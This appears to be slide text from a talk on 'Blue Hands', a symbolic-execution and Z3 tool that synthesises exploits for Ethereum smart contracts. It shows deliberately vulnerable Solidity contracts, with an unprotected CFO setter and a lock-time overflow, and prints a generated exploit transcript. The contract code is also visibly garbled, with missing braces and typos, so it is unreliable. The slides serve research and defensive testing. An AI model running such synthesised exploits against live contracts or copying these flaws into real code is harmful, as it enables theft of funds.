Blue Hands Automatic exploit detection and synthesis for EVM programs

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What is Blue Hands

- A program that given:
 - 1. A deployed program on the EVM.
 - 2. A set of conditions.
- finds:
 - A series of inputs that result in those conditions being fulfilled.

WTF does that mean for good guys?

- Lets a programmer find exploits in their smart contract before they deploy it to main net.
- Confirm it actually behaves how they think it will in all circumstances.
- Microsoft has a similar internal tool called SAGE.

WTF does that mean for bad guys?

Imagine if you set the conditions to

Eth in attackers wallet at Time[i]

Eth in attackers wallet at Time[i+1]

WTF does that mean for bad guys?

 Blue Hands becomes a program that figures out how to automatically exploit any contract on the blockchain.

How does it work?

- Symbolic Execution.
 - Instead of executing a program with actual values, we substitute them for symbols.
 - Symbol: x
 - Value: 1, 2, "Hello World"
- Going down every branch in program, it generates a set of constraints that represent how to get to that point in the program.

Example

```
function testFunction (int value) public pure returns (int) {
  if (value == 5) {
    return 0;
  } else {
    if (value == 6) {
      return 1;
    return value * 2;
                            if x == 5?
                 False
                                         True
                 if x == 6?
                                      return_value = 0
             Conditions: x != 5
                                           x = 5
     False
                             True
   return_value =
                         return_value = 1
     value * 2
                              x != 5
      x != 5
                              x = 6
```

- Add our condition to all return constraints to see if possible.
- Condition: ReturnValue = 16

Branch Constraints

Branch Constraints with extra constraints

Final Solution

Turns into

None

Turns into

None

Turns into

x = 8

How do we solve constraints?

- Feed them into Z3!
- Z3 is a SMT (satisfiability modulo theories) solver developed by Microsoft Research.
- Given a set of constraints, it can tell you if there is a possible solution for them, and what that solution is.
- Highly optimised C/C++.

Attacking Solidity Contracts

- Other than some internal functions for debugging, Blue Hands doesn't know about how the Solidity ABI works.
- It reverse engineers the ABI on every execution.
- This also means it will work on any language that compiles to EVM bytecode (vyper, etc).

Exploitable Contract

00000000000000900480632e1a7d4d146100615780633fb2a74e1461009c5780634e0a3379146100f7 578063d0e30db014610148575b600080fd5b34801561006d57600080fd5b5061009a600480360360 2081101561008457600080fd5b8101908080359060200190929190505050610152565b005b348015 6100a857600080fd5b506100f5600480360360408110156100bf57600080fd5b81019080803573ff fffffffffffffffffffffffffffffffffff69060200190929190803590602001909291905050 5061015f565b005b34801561010357600080fd5b506101466004803603602081101561011a576000 50506101c8565b005b61015061020b565b005b61015c338261025a565b50565b6000809054906101 80fd5b6101c4828261025a565b5050565b806000806101000a81548173fffffffffffffffffffffff ffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055 fffffffffffffffffffffff16815260200190815260200160002054101515156102a857600080fd ffffffffffffffffffff168152602001908152602001600020600082825403925050819055503373 ffffffffffffffffffffffffffffffffffff681604051806000019050600060405180830381 85875af1925050503d8060008114610353576040519150601f19603f3d011682016040523d82523d 6000602084013e610358565b606091505b505050505056fea165627a7a723058207f3a8cdec7be90 86d2af51b930cc2155e17027e4802c324dc4bf18f40e506e010029

More Readable Exploitable Contract

PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x38B DUP1 PUSH2 0x20 PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN INVALID PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x5C JUMPI PUSH1 0x0 CALLDATALOAD PUSH29 DUP1 PUSH4 0x3FB2A74E EQ PUSH2 0x9C JUMPI DUP1 PUSH4 0x4E0A3379 EQ PUSH2 0xF7 JUMPI DUP1 PUSH4 0xD0E30DB0 EQ PUSH2 0x148 JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x6D JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x9A PUSH1 0x4 DUP1 CALLDATASIZE SUB PUSH1 0x20 DUP2 LT ISZERO PUSH2 0x84 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x152 JUMP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0xA8 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0xF5 PUSH1 0x4 DUP1 CALLDATASIZE SUB PUSH1 0x40 DUP2 LT ISZERO PUSH2 0xBF JUMPI PUSH1 0x0 SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 DUP1 CALLDATALOAD SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x15F JUMP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x103 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x146 PUSH1 0x4 DUP1 CALLDATASIZE SUB PUSH1 0x20 DUP2 LT ISZERO PUSH2 0x11A JUMPI PUSH1 0x0 SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x1C8 JUMP JUMPDEST STOP JUMPDEST PUSH2 0x150 PUSH2 0x20B JUMP JUMPDEST STOP JUMPDEST PUSH2 0x15C CALLER DUP3 PUSH2 0x25A JUMP JUMPDEST POP JUMP JUMPDEST AND EQ ISZERO ISZERO PUSH2 0x1BA JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x1C4 DUP3 DUP3 PUSH2 0x25A JUMP JUMPDEST POP POP JUMP JUMPDEST DUP1 PUSH1 0x0 DUP1 PUSH2 0x100 EXP DUP2 SLOAD DUP2 PUSH20 0x0 KECCAK256 PUSH1 0x0 DUP3 DUP3 SLOAD ADD SWAP3 POP POP DUP2 SWAP1 SSTORE POP JUMP JUMPDEST DUP1 PUSH1 0x1 0x0 KECCAK256 SLOAD LT ISZERO ISZERO ISZERO PUSH2 0x2A8 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST DUP1 PUSH1 0x1 0x0 KECCAK256 PUSH1 0x0 DUP3 DUP3 SLOAD SUB SWAP3 POP POP DUP2 SWAP1 SSTORE POP CALLER PUSH20 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP8 GAS CALL SWAP3 POP POP POP RETURNDATASIZE DUP1 PUSH1 0x0 DUP2 E0 PUSH2 0x353 JUMPI PUSH1 0x40 MLOAD SWAP2 POP PUSH1 0x1F NOT PUSH1 0x3F RETURNDATASIZE ADD AND DUP3 ADD PUSH1 0x40 MSTORE RETURNDATASIZE DUP3 MSTORE RETURNDATASIZE PUSH1 0x0 PUSH1 0x20 DUP5 ADD RETURNDATACOPY PUSH2 0x358 JUMP JUMPDEST PUSH1 0x60 SWAP2 POP JUMPDEST POP POP POP POP POP JUMP INVALID LOG1 PUSH6 0x627A7A723058 KECCAK256

PUSH32 0x3A8CDEC7BE9086D2AF51B930CC2155E17027E4802C324DC4BF18F40E506E0100 0x29

Actually Readable Exploitable Contract

```
pragma solidity ^0.5.1;
contract bankCFOVuln {
    address cfo;
   mapping (address => uint) deposits;
    function setCFO(address newCFO) public {
        cfo = newCF0;
    function deposit() payable public {
        deposits[msg.sender] += msg.value;
    function _withdraw(address withdrawAddress, uint withdraw_amount) private {
        require(deposits[withdrawAddress] >= withdraw_amount);
        deposits[withdrawAddress] == withdraw amount;
        msg.sender.call.value(withdraw_amount)("");
    function withdraw(uint amount) public {
        withdraw(msg.sender, amount);
    function cfoWithdraw(address withdraw address, uint amount) public {
        require(msg.sender == cfo);
       _withdraw(withdraw_address, amount);
}
```

Exploitable Contract

Defensive setup:

In an offensive environment, the victim has done the setup for us.

Actually Readable Exploitable Contract

```
pragma solidity ^0.5.1;
contract bankCFOVuln {
    address cfo;
   mapping (address => uint) deposits;
    function setCFO(address newCFO) public {
        cfo = newCF0;
    function deposit() payable public {
        deposits[msg.sender] += msg.value;
    function _withdraw(address withdrawAddress, uint withdraw_amount) private {
        require(deposits[withdrawAddress] >= withdraw_amount);
        deposits[withdrawAddress] == withdraw amount;
        msg.sender.call.value(withdraw_amount)("");
    function withdraw(uint amount) public {
        withdraw(msg.sender, amount);
    function cfoWithdraw(address withdraw address, uint amount) public {
        require(msg.sender == cfo);
       _withdraw(withdraw_address, amount);
}
```

Exploit Output

```
(Pdb) pp summary
{'inputs': [{'data': {'args': [{'raw': b'\x00\x00\x00\x00\x00\x00\x00\x00'
                                  b'\x00\x00\x00\x00attacker'
                                  b'\x00\x00\x00\x00\x00\x00\x00\x00'
                                  b'\x00\x00\x00\x00',
                            'type': 'address',
                            'func': b'N\n3y',
                   'func_info': {'arg_types': ['address'],
                                'name': 'setCFO(address)'}},
           'timestamp': 0},
          {'data': {'args': [{'raw': b'\x00\x00\x00\x00\x00\x00\x00'
                                  b'\x00\x00\x00\x00XCF0X\x00\x00\x00'
                                  b'\x00\x00\x00\x00\x00\x00\x00\x00'
                                   b'\x00\x00\x00\x00',
                            'type': 'address',
                            {'raw': b'\x00\x00\x00\x00\x00\x00\x00\x00'
                                  b'\x00\x00\x00\x00\x00\x00\x00\x00'
                                  b'\x00\x00\x00\x00\x00\x00\x00\x00'
                                  b'Ec\x91\x82D\xf3\xff\xf1',
                            'type': 'uint256',
                            'val': 49999999999999985}],
                   'func': b'?\xb2\xa7N',
                   'func_info': {'arg_types': ['address', 'uint256'],
                                'name': 'cfoWithdraw(address,uint256)'}},
           'timestamp': 32768}]}
```

More advanced example

```
contract TimeLock {
  mapping(address => uint) public balances;
  mapping(address => uint) public lockTime;
  function deposit() public payable {
    balances[msg.sender] += msg.value;
    lockTime[msg.sender] = now + 1 weeks;
  function increaseLockTime(uint _secondsToIncrease) public {
    lockTime[msg.sender] += _secondsToIncrease;
  function withdraw() public {
    require(balances[msg.sender] > 0);
    require(now > lockTime[msg.sender]);
    msg.sender.transfer(balances[msg.sender]);
    balances[msg.sender] = 0;
```

Exploitable Contract

Defensive setup:

Exploit

We use the increaseLockTime function to overflow the lock time, putting it in the past.

Feature Coverage

• There are approximately 16 classes of exploit. Blue Hands currently exploits 2.

Exploited	In Development	Out of Scope
Arithmetic Over/Underflow	Reentracy	Entropy Illusion
Method Visibilities	Unexpected Development	Short Address Parameter
Floating Points and Precision	DelegateCall	Race Condition
	External Contract Referencing	Block Timestamp
	Unchecked Call Return Values	
	Denial of Service	
	Unintialised Storage Pointers	
	Tx.Origin Authentication	

What is the EVM?

- Ethereum Virtual Machine
- Runs EVM Assembly
- Every node on Ethereum network runs every program.
- Trustless and distributed.
- Stack based with 256 bit words.